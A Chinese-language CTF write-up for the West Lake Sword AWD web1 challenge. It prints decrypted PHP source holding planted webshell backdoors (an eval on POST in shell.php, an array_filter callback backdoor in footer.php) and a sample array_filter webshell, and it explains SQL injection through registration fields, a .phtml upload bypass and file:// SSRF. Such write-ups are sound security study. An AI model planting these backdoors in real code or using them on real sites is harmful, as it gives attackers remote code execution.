[西湖論劍awd] web1
打比賽的時(shí)候?yàn)榱耸r(shí)看到一個(gè)洞就直接打了然后權(quán)限維持就沒(méi)仔細(xì)看,趁著有空看一下(主要拿分還是靠web2)
代碼量并不是很大
解密文件
首先在libs里面可以看到經(jīng)過(guò)了加密的
可以通過(guò)echo來(lái)解密出來(lái)
echo($ooo000($ooo00o($o00o)));
解密的一部分文件
lib_common.php
<?php
include "/var/www/html/config/config.php";
define('DEBUG', false);
define('ADMIN', false);
define('FLAG', null);
define('SECRET', '5a689e4c8390f0e0cb65a8ad852f5fe7');
define('APP_NAME', $cfg_appname ? $cfg_appname : 'mycms');
define('APP_VERSION', $cfg_version ? $cfg_version : '1.0.0');
define('APP_AUTHOR', $cfg_auther ? $cfg_auther : 'unknown');
$data = array_merge($_POST,$_GET);
class_user.php
class User
{
public static function getAllUser()
{
$sql = 'select * from `user`';
$db = new MyDB();
if (!$users = $db->exec_sql($sql)) {
return array(array('id' => 1, 'name' => 'admin', 'password' => self::encodePassword('admin123'), 'role' => 1));
}
return $users;
}
public static function getNameByID($id)
{
$users = User::getAllUser();
for ($i = 0; $i < count($users); $i++) {
if ($users[$i]['id'] === $id) {
return $users[$i]['name'];
}
}
return null;
}
public static function getIDByName($name)
{
$users = User::getAllUser();
for ($i = 0; $i < count($users); $i++) {
if ($users[$i]['name'] === $name) {
return $users[$i]['id'];
}
}
return null;
}
public static function getRoleByName($name)
{
$users = User::getAllUser();
for ($i = 0; $i < count($users); $i++) {
if ($users[$i]['name'] === $name) {
return $users[$i]['role'];
}
}
return null;
}
public static function check($name, $password,$raw=0)
{
$users = User::getAllUser();
for ($i = 0; $i < count($users); $i++) {
if(!$raw){
if ($users[$i]['name'] === $name && $users[$i]['password'] === self::encodePassword($password) && $users[$i]['status'] == 1) {
return true;
}
}else{
if ($users[$i]['name'] === $name && $users[$i]['password'] === $password && $users[$i]['status'] == 1) {
return true;
}
}
}
return false;
}
public static function encodePassword($str)
{
return md5($str . constant('SECRET'));
}
public static function setting($data)
{
if (isset($data['id']) && $data['id']) {
$sql = 'select * from `user` where `id`=' . $data['id'] . ' limit 0,1';
} else {
return array('msg' => '參數(shù)錯(cuò)誤', 'code' => -1, 'data' => array());
}
$db = new MyDB();
if (!$result = $db->exec_sql($sql)) {
return array('msg' => '暫無(wú)數(shù)據(jù)或記錄已刪除', 'code' => -1, 'data' => array());
}
if ($result['role'] == 1) {
return array('msg' => '管理員數(shù)據(jù)不可更改', 'code' => -1, 'data' => array());
}
if ($result['status'] == 1) {
$status = 0;
} else {
$status = 1;
}
$sql = 'update `user` set `status`=' . $status . ' where `id`= ' . $data['id'];
if (!$result = $db->exec_sql($sql)) {
return array('msg' => '數(shù)據(jù)庫(kù)異常', 'code' => -1, 'data' => array());
}
return array('msg' => '操作成功', 'code' => 0, 'data' => array());
}
public static function insertuser($data)
{
$db = new MyDB();
$sql = "insert into user(".implode(",",array_keys($data)).") values ('".implode("','",array_values($data))."')";
if (!$result = $db->exec_sql($sql)) {
return array('msg' => '數(shù)據(jù)庫(kù)異常', 'code' => -1, 'data' => array());
}
return array('msg' => '操作成功', 'code' => 0, 'data' => array());
}
}
class_debug.php
class Debug {
public $msg='';
public $log='';
function __construct($msg = '') {
$this->msg = $msg;
$this->log = 'errorlog';
$this->fm = new FileManager($this->msg);
}
function __toString() {
$str = "[DEUBG]" . $msg;
$this->fm->save();
return $str;
}
function __destruct() {
file_put_contents('/var/www/html/logs/'.$this->log,$this->msg);
unset($this->msg);
}
}
后門(mén)
shell.php
進(jìn)目錄就可以看到一個(gè)shell.php
<?php
session_start();
if ($_SESSION['role'] == 1) {
eval($_POST[1]);
}
條件是$_SESSION['role'] == 1
那么看一下什么時(shí)候$_SESSION['role'] == 1
login.php
session_start();
if (isset($data['user']) && isset($data['pass'])) {
$user = $data['user'];
$pass = $data['pass'];
if (User::check($user, $pass)) {
setcookie("auth",$user."\t".User::encodePassword($pass));
$_SESSION['user'] = User::getIDByName($user);
$_SESSION['role'] = User::getRoleByName($user);
$wrong = false;
header("Location: index.php");
} else {
$wrong = true;
}
}
role是通過(guò)那個(gè)user的加密文件里面的函數(shù)來(lái)獲得的思考一下反正是通過(guò)數(shù)據(jù)庫(kù)來(lái)獲得的就去查看一下數(shù)據(jù)庫(kù)
可以看到admin的role為1就是要登錄admin
在
register.php
可以看到
password
存進(jìn)去之前是有加密的貌似一籌莫展的時(shí)候想起來(lái)web2后臺(tái)的弱密碼是
admin123
于是我也想試一下結(jié)果就登錄了???
跑了一下應(yīng)該是個(gè)admin123加鹽的MD5
解一下加密文件之后可以看到
當(dāng)沒(méi)有user的時(shí)候可以通過(guò)admin123登錄
footer.php
footer.php
也是一個(gè)后門(mén)而且在每一個(gè)頁(yè)面都有導(dǎo)入
if($_SERVER['SCRIPT_FILENAME']==__FILE__){
echo '<p>? mycms</p>';
}else{
array_filter(array(base64_decode($data["name"])), base64_decode($data["pass"]));
}
array_filter的運(yùn)行腳本
#用回調(diào)函數(shù)過(guò)濾數(shù)組中的元素:array_filter(數(shù)組,函數(shù))
#命令執(zhí)行func=system&cmd=whoami
#菜刀連接http://localhost/123.php?func=assert 密碼cmd
$cmd=$_POST['cmd'];
$func =$_GET['func'];
array_filter(array($cmd),$func);
pass
和name
是post的值直接可以控可直接getshelldown.php
很明顯有一個(gè)ssrf
但是過(guò)濾了http
可以用
file
協(xié)議來(lái)讀本地的源碼但是用大小寫(xiě)繞過(guò)正則也繞不過(guò)
file_exist
導(dǎo)致無(wú)法直接獲得flag
可能是不能訪問(wèn)公網(wǎng)內(nèi)網(wǎng)可以??
article.php
在寫(xiě)文章的地方存在XSS但是其實(shí)并沒(méi)有什么用
我覺(jué)得線下awd都是很少訪問(wèn)文章的
但是存在一個(gè)文件上傳
在class_article.php
中存在黑名單
可以發(fā)現(xiàn)他的黑名單里面并沒(méi)有phtml
就可以上傳一個(gè)phtml來(lái)getshell
class_user.php
public static function insertuser($data)
{
$db = new MyDB();
$sql = "insert into user(".implode(",",array_keys($data)).") values ('".implode("','",array_values($data))."')";
if (!$result = $db->exec_sql($sql)) {
return array('msg' => '數(shù)據(jù)庫(kù)異常', 'code' => -1, 'data' => array());
}
return array('msg' => '操作成功', 'code' => 0, 'data' => array());
}
在這里可以看到在注冊(cè)的時(shí)候
可以自定義key和value,
那么只要key為role
value為1就可以成為管理員來(lái)運(yùn)行shell.php了
在這里有個(gè)raw如果把raw改掉的話就可以直接通過(guò)MD5
的值進(jìn)行登錄在權(quán)限維持的時(shí)候可能會(huì)有一點(diǎn)幫助
總結(jié)
還是太菜了可能有很多地方還沒(méi)看到
希望有大佬告訴我下哪里還可以有操作的地方
不得不吐槽一下阿里云傳個(gè)shell上去就把我ip ban了